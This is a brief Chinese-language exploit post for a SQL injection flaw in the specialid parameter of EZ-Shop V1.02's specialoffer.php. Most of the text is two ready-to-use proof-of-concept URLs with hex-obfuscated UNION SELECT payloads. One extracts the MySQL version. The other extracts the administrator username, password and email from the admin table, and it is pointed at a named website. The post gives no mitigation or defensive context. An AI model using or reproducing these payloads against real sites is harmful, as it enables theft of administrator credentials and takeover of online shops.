EZ-Shop V1.02 SQL注入漏洞

EZ-Shop V1.02程序specialoffer.php页面存在注入漏洞，可注入查询管理员信息。

 MySQL 版本注入查询:

/specialoffer.php?specialid=1' union select 1,2,concat(0x312720756e696f6e2073656c65637
420312c322c2f2a,@@version,0x2a2f404076657273696f6e2c342c3523)%23

管理用户注入查询: POC
http://www.iick.blog/specialoffer.php?specialid=1' union select 1,2,concat(0x312720756e696f6e2073656c65637
420312c322c2f2a,@@version,0x2a2f636f6e63617428307833612c76617261646d696e6e616d652c307833612c76617
270617373776f72642c307833612c766172656d61696c2c30783361292c342c352066726f6d2074626c61646d696e23)%23